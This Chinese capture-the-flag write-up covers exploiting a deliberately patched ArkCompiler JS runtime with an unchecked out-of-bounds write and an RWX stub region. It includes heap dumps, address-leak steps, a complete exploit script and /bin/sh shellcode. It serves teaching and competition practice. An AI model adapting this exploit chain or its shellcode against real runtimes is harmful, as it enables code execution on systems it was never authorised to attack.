感觉和v8的逻辑差不太多,先来看下题目吧。题目给出了一个针对arkcompiler_ets_runtime的patch,主要做了这几件事:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 +JSTaggedValue BuiltinsArkTools::OOB (EcmaRuntimeCallInfo *info) +{ + ASSERT(info); + JSThread *thread = info->GetThread(); + [[maybe_unused]] EcmaHandleScope handleScope (thread) ; + + ASSERT(info->GetArgsNumber() == 3 ); + + JSHandle<JSTypedArray> typedArrayHandle = JSHandle<JSTypedArray>::Cast(GetCallArg(info, 0 )); + uint32_t index = GetCallArg(info, 1 )->GetInt(); + JSHandle<JSTaggedValue> valueHandle = GetCallArg(info, 2 ); + + uintptr_t buf = ToUintPtr(ByteArray::Cast(typedArrayHandle->GetViewedArrayBufferOrByteArray(thread).GetTaggedObject())->GetData()); + + *(uint32_t *)(buf + index) = valueHandle.GetTaggedValue().GetInt(); + + return JSTaggedValue::True(); +}
给出一个OOB的函数结构,这个函数接口注册在BuiltinsArkTools中,我们可以通过Arktools.oob(...)来调用,该代码明确的调用规范应该是这样,第一参数是一个数组,第二个参数是下标,第三个参数的要写入的数,漏洞点在倒数第三行,在对数组进行写入的时候没有校验下标是否合法,即小于数组本身的size,这就会造成任意数组高地址的越界写 。
之后,这个patch将一个原本可读可执行的代码段注册成了可读可写可执行:
1 2 3 4 5 6 7 8 9 @@ -157 ,7 +157 ,7 @@ bool StubFileInfo::Load () } } LOG_COMPILER (INFO) << "loaded stub file successfully"; - if (!PageProtect(stubsMem_.addr_, stubsMem_.size_, PAGE_PROT_EXEC_READ)) { + if (!PageProtect(stubsMem_.addr_, stubsMem_.size_, PAGE_PROT_EXEC_READWRITE)) { return false ; } return true ;
我们可以向其中填充shellcode。
先调试一下,看一下我们分配的小数组堆块在内存中的布局:
附件给出了一个编译好的ark_js_vm和一个es2abc,我们首先要把js文件用es2abc编译成abc文件,再让ark_js_vm去执行
1 2 3 4 let a = new Uint32Array (0x10 );let oob1 = new Uint32Array (0x10 );let oob3 = new Uint32Array (0x800 );let oob2 = new Uint32Array (0x800 );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 pwndbg> tele 0x243ffff430 70 00 :0000 │ r8 0x243ffff430 —▸ 0x18fffcba60 —▸ 0x18fff810d0 ◂— 0x18fff810d0 01 :0008 │ 0x243ffff438 ◂— 0xffff000000000000 02 :0010 │ 0x243ffff440 —▸ 0x18fff83508 —▸ 0x18fff81128 —▸ 0x18fff810d0 ◂— 0x18fff810d0 03 :0018 │ 0x243ffff448 —▸ 0x18fff83508 —▸ 0x18fff81128 —▸ 0x18fff810d0 ◂— 0x18fff810d0 04 :0020 │ 0x243ffff450 —▸ 0x243ffff490 —▸ 0x18fff813e8 —▸ 0x18fff810d0 ◂— 0x18fff810d0 05 :0028 │ 0x243ffff458 —▸ 0x18fff84088 —▸ 0x18fff81288 —▸ 0x18fff810d0 ◂— 0x18fff810d0 06 :0030 │ 0x243ffff460 ◂— 0x40 /* '@' */07 :0038 │ 0x243ffff468 ◂— 0x200000010 08 :0040 │ 0x243ffff470 ◂— 2 ... ↓ 3 skipped 0c:0060 │ 0x243ffff490 —▸ 0x18fff813e8 —▸ 0x18fff810d0 ◂— 0x18fff810d0 0d :0068 │ 0x243ffff498 ◂— 0x400000010 0e:0070 │ 0x243ffff4a0 ◂— 0 ... ↓ 7 skipped 16 :00b0│ 0x243ffff4e0 —▸ 0x18fff82200 —▸ 0x18fff810d0 ◂— 0x18fff810d0 17 :00b8│ 0x243ffff4e8 —▸ 0x243ffff430 —▸ 0x18fffcba60 —▸ 0x18fff810d0 ◂— 0x18fff810d0 18 :00c0│ 0x243ffff4f0 —▸ 0x18fffcba60 —▸ 0x18fff810d0 ◂— 0x18fff810d0 19 :00c8│ 0x243ffff4f8 ◂— 0xffff000000000000 1a:00d0│ 0x243ffff500 —▸ 0x18fff83508 —▸ 0x18fff81128 —▸ 0x18fff810d0 ◂— 0x18fff810d0 1b :00d8│ 0x243ffff508 —▸ 0x18fff83508 —▸ 0x18fff81128 —▸ 0x18fff810d0 ◂— 0x18fff810d0 1c:00e0│ 0x243ffff510 —▸ 0x243ffff550 —▸ 0x18fff813e8 —▸ 0x18fff810d0 ◂— 0x18fff810d0 1d :00e8│ 0x243ffff518 —▸ 0x18fff84088 —▸ 0x18fff81288 —▸ 0x18fff810d0 ◂— 0x18fff810d0 1e:00f0│ 0x243ffff520 ◂— 0x40 /* '@' */ 1f:00f8│ 0x243ffff528 ◂— 0x200000010 20 :0100 │ 0x243ffff530 ◂— 2 ... ↓ 3 skipped 24 :0120 │ 0x243ffff550 —▸ 0x18fff813e8 —▸ 0x18fff810d0 ◂— 0x18fff810d0 25 :0128 │ 0x243ffff558 ◂— 0x400000010 26 :0130 │ 0x243ffff560 ◂— 0 ... ↓ 7 skipped 2e:0170 │ 0x243ffff5a0 —▸ 0x18fff82200 —▸ 0x18fff810d0 ◂— 0x18fff810d0 2f:0178 │ 0x243ffff5a8 —▸ 0x243ffff4f0 —▸ 0x18fffcba60 —▸ 0x18fff810d0 ◂— 0x18fff810d0 30 :0180 │ 0x243ffff5b0 —▸ 0x18fffcb9b0 —▸ 0x18fff810d0 ◂— 0x18fff810d0 31 :0188 │ 0x243ffff5b8 ◂— 0xffff000000000000 32 :0190 │ 0x243ffff5c0 —▸ 0x18fff83508 —▸ 0x18fff81128 —▸ 0x18fff810d0 ◂— 0x18fff810d0 33 :0198 │ 0x243ffff5c8 —▸ 0x18fff83508 —▸ 0x18fff81128 —▸ 0x18fff810d0 ◂— 0x18fff810d0 34 :01a0│ 0x243ffff5d0 —▸ 0x243ffff610 —▸ 0x18fffcc248 —▸ 0x18fff810d0 ◂— 0x18fff810d0 35 :01a8│ 0x243ffff5d8 —▸ 0x18fff84088 —▸ 0x18fff81288 —▸ 0x18fff810d0 ◂— 0x18fff810d0 36 :01b0│ 0x243ffff5e0 ◂— 0x2000 37 :01b8│ 0x243ffff5e8 ◂— 0x200000800 38 :01c0│ 0x243ffff5f0 ◂— 2 ... ↓ 3 skipped 3c:01e0│ 0x243ffff610 —▸ 0x18fffcc248 —▸ 0x18fff810d0 ◂— 0x18fff810d0 3d :01e8│ 0x243ffff618 ◂— 0xffff000000000000 3e:01f0│ 0x243ffff620 —▸ 0x18fff83508 —▸ 0x18fff81128 —▸ 0x18fff810d0 ◂— 0x18fff810d0 3f:01f8│ 0x243ffff628 —▸ 0x18fff83508 —▸ 0x18fff81128 —▸ 0x18fff810d0 ◂— 0x18fff810d0 40 :0200 │ 0x243ffff630 —▸ 0x243ff84a28 —▸ 0x18fff010d0 —▸ 0x18fff810d0 ◂— 0x18fff810d0 41 :0208 │ 0x243ffff638 ◂— 0x200002000 42 :0210 │ 0x243ffff640 ◂— 2 ... ↓ 3 skipped
0x243ffff430地址是我们分配的第一个小数组a的地址,我们可以关注到这样一条链子:
1 04 :0020 │ 0 x243ffff450 —▸ 0 x243ffff490 —▸ 0 x18fff813e8 —▸ 0 x18fff810d0 ◂— 0 x18fff810d0
0x243ffff490就是数组a的datapointer,指向了数组a的数据部分,如果向数组a进行写入的话,数据会写入到datapointer + 0x10 + idx * 4的位置
从0x243ffff4f0开始是下一个小数组oob1的内存布局,和数组a的内存布局相同,oob1的datapointer是0x243ffff550
同理oob2的datapointer是0x243ffff610
综上,引入的OOB会有一个越界写,我们就可以去利用数组a去更改任意一个高地址数组的datapointer去做到任意地址写和任意地址读
同时我们发现,在遥远的国度(比数组a地址还低的地址)有一个堆地址!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pwndbg > tele 0 x243ffff330 70 00 :0000 │ 0 x243ffff330 ◂— 2 01 :0008 │ 0 x243ffff338 —▸ 0 x18fff83570 —▸ 0 x18fff815a0 —▸ 0 x18fff810d0 ◂— 0 x18fff810d002 :0010 │ 0 x243ffff340 ◂— 2 03 :0018 │ 0 x243ffff348 —▸ 0 x243ff48e68 —▸ 0 x18fff81288 —▸ 0 x18fff810d0 ◂— 0 x18fff810d004 :0020 │ 0 x243ffff350 ◂— 0 05 :0028 │ 0 x243ffff358 —▸ 0 x18fff828b8 —▸ 0 x18fff81ac8 —▸ 0 x18fff810d0 ◂— 0 x18fff810d006 :0030 │ 0 x243ffff360 —▸ 0 x18fff828a0 —▸ 0 x18fff81ac8 —▸ 0 x18fff810d0 ◂— 0 x18fff810d007 :0038 │ 0 x243ffff368 —▸ 0 x18fff82888 —▸ 0 x18fff81ac8 —▸ 0 x18fff810d0 ◂— 0 x18fff810d008 :0040 │ 0 x243ffff370 ◂— 2 09 :0048 │ 0 x243ffff378 —▸ 0 x18fff82200 —▸ 0 x18fff810d0 ◂— 0 x18fff810d00a :0050 │ 0 x243ffff380 —▸ 0 x243ffff2e0 —▸ 0 x18fffc33f8 —▸ 0 x18fff810d0 ◂— 0 x18fff810d00b :0058 │ 0 x243ffff388 —▸ 0 x18fffc33f8 —▸ 0 x18fff810d0 ◂— 0 x18fff810d00c :0060 │ 0 x243ffff390 ◂— 0 xffff0000000000000d :0068 │ 0 x243ffff398 —▸ 0 x18fff83508 —▸ 0 x18fff81128 —▸ 0 x18fff810d0 ◂— 0 x18fff810d00e :0070 │ 0 x243ffff3a0 —▸ 0 x18fff83508 —▸ 0 x18fff81128 —▸ 0 x18fff810d0 ◂— 0 x18fff810d00f :0078 │ 0 x243ffff3a8 —▸ 0 x243ff48ef0 —▸ 0 x18fff82620 —▸ 0 x18fff810d0 ◂— 0 x18fff810d010 :0080 │ 0 x243ffff3b0 —▸ 0 x57a2647d0580 ◂— 0 x30000002f /* '/' */ <-- !!!!!
如果能把datapointer控在这里就可以泄露堆地址。现在的问题是如何找那段mmap的地址。
在遥远的国度,差不多是这个堆地址+ ((0x000057f45459bf40 - 0x000057f4545389e0))偏移的地方,存储着连续的mmap出来的地址(懒得调出来了)
但在打题的时候发现这个datapointer并不能随便指,上面的那个堆地址泄露不出来,我们可以看到原来的datapointer是指向了一条链子的:
1 04 :0020 │ 0 x243ffff450 —▸ 0 x243ffff490 —▸ 0 x18fff813e8 —▸ 0 x18fff810d0 ◂— 0 x18fff810d0
同时我们注意到虽然我们oob2分配了0x800的空间,但是这里的data空间明显不够。
1 2 3 4 5 6 7 8 9 10 11 37 :01b8│ 0x243ffff5e8 ◂— 0x200000800 38 :01c0│ 0x243ffff5f0 ◂— 2 ... ↓ 3 skipped 3c:01e0│ 0x243ffff610 —▸ 0x18fffcc248 —▸ 0x18fff810d0 ◂— 0x18fff810d0 3d :01e8│ 0x243ffff618 ◂— 0xffff000000000000 3e:01f0│ 0x243ffff620 —▸ 0x18fff83508 —▸ 0x18fff81128 —▸ 0x18fff810d0 ◂— 0x18fff810d0 3f:01f8│ 0x243ffff628 —▸ 0x18fff83508 —▸ 0x18fff81128 —▸ 0x18fff810d0 ◂— 0x18fff810d0 40 :0200 │ 0x243ffff630 —▸ 0x243ff84a28 —▸ 0x18fff010d0 —▸ 0x18fff810d0 ◂— 0x18fff810d0 41 :0208 │ 0x243ffff638 ◂— 0x200002000 42 :0210 │ 0x243ffff640 ◂— 2 ... ↓ 3 skipped
在翻阅手册后知道了SemiSpace管理空间实际上是有和native空间的联系的,就比如上面那个大堆块,猜测是因为SemiSpace空间不够,将该堆块的data域晋升到native空间。我们管SemiSpace指向native空间的指针叫native_pointer,这个指针包是合法的datapointer,所以我们可以泄露native地址,进而泄露native_hclass的地址,native空间下就有好多好多好多堆地址可以泄露了!
此时oob2的 datapointer -> native_pointer -> real_data_seg
现在的问题是如何泄露SemiSpace的指针,我们构造如上的堆块序列:
1 2 3 4 let a = new Uint32Array (0x10 );let oob1 = new Uint32Array (0x10 );let oob3 = new Uint32Array (0x800 ); let oob2 = new Uint32Array (0x800 );
通过a的oob覆盖oob2的datapointer与oob1的datapointer重叠,由于oob2有0x800个字节,进而可以泄露oob3的datapointer,泄露SemiSpace
实际上这里的覆盖是half overlap, 因为SemiSpace的高地址我们是不知道的,知道的只有低地址,附一个负数转化器:
1 2 3 4 5 6 7 8 9 10 11 12 def hex_to_signed_int32 (hex_str ): """将32位十六进制字符串转化为有符号十进制整数""" num = int (hex_str, 16 ) if num >= 0x80000000 : num -= 0x100000000 return num hex_value = "0xf5500000" signed_decimal = hex_to_signed_int32(hex_value) print (f"{hex_value} -> {signed_decimal} " )
本题exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 let a = new Uint32Array (0x10 );let oob1 = new Uint32Array (0x10 );let oob3 = new Uint32Array (0x800 );let oob2 = new Uint32Array (0x800 );let array_bak = new Uint32Array (0x100 );let idx = 0x1f0 - 2 ;let val = -179306496 ;let ok = ArkTools .oob (a, idx, val);ArkTools .print ("a" , oob2)ArkTools .print ("ark_semi_addr" )ArkTools .print (oob2[28 ].toString (16 ).padStart (8 , '0' ));ArkTools .print (oob2[29 ].toString (16 ).padStart (8 , '0' ));ArkTools .print (oob2.length );let native_point_low = oob2[52 ];let native_point_high = oob2[53 ];let ark_semi_low = oob2[28 ] - 0xb0 ;let ark_semi_high = oob2[29 ];oob2[52 ] = ark_semi_low; oob2[53 ] = ark_semi_high; ArkTools .print ("native_point" )ArkTools .print (oob2[52 ].toString (16 ).padStart (8 , '0' ));ArkTools .print (oob2[53 ].toString (16 ).padStart (8 , '0' ));function arbitrary_read (addr_high, addr_low ) { oob2[2 ] = addr_low; oob2[3 ] = addr_high; return oob3[0 ] } function arbitrary_write (addr_high, addr_low, data ) { oob2[2 ] = addr_low; oob2[3 ] = addr_high; oob3[0 ] = data; } let native_hclass_low = arbitrary_read (native_point_high, native_point_low);let native_hclass_high = arbitrary_read (native_point_high, native_point_low+4 );ArkTools .print ("native_hclass_addr" )ArkTools .print (native_hclass_low.toString (16 ).padStart (8 , '0' ));ArkTools .print (native_hclass_high.toString (16 ).padStart (8 , '0' ));oob1[0 ] = native_hclass_low; oob1[1 ] = native_hclass_high; ArkTools .print ("heap_addr" )let heap_low = arbitrary_read (native_point_high, native_point_low+8 );let heap_high = arbitrary_read (native_point_high, native_point_low+12 );ArkTools .print (heap_low.toString (16 ).padStart (8 , '0' ));ArkTools .print (heap_high.toString (16 ).padStart (8 , '0' ));let rwx_low = 0 ;let rwx_high = 0 ;for (let i = 0 ; i < 0x100000 ; i++) { heap_low = heap_low - 8 ; let leak_addr = arbitrary_read (heap_high, heap_low); let leak_addr_2 = arbitrary_read (heap_high, heap_low + 8 ); if (((leak_addr & 0xfff ) == 0x070 && (leak_addr_2 & 0xfff ) == 0x090 )){ rwx_low = leak_addr - 0x1070 ; rwx_high = arbitrary_read (heap_high, heap_low + 4 ); break ; } } ArkTools .print ("rwx_addr" )ArkTools .print (rwx_low.toString (16 ).padStart (8 , '0' ));ArkTools .print (rwx_high.toString (16 ).padStart (8 , '0' ));let shellcode = [0xb848686a , 0x6e69622f , 0x732f2f2f , 0xe7894850 , 0x1697268 , 0x24348101 , 0x1010101 , 0x6a56f631 , 0x1485e08 , 0x894856e6 , 0x6ad231e6 , 0x50f583b ]for (let i = 0 ; i < (shellcode.length ) ; i++){ arbitrary_write (rwx_high, rwx_low + 4 * i, shellcode[i]); } arbitrary_write (heap_high, heap_low, rwx_low);arbitrary_write (heap_high, heap_low + 4 , rwx_high);let shell = undefined ;
本地运行截图:
flag:ZJUCTF{****}(保密)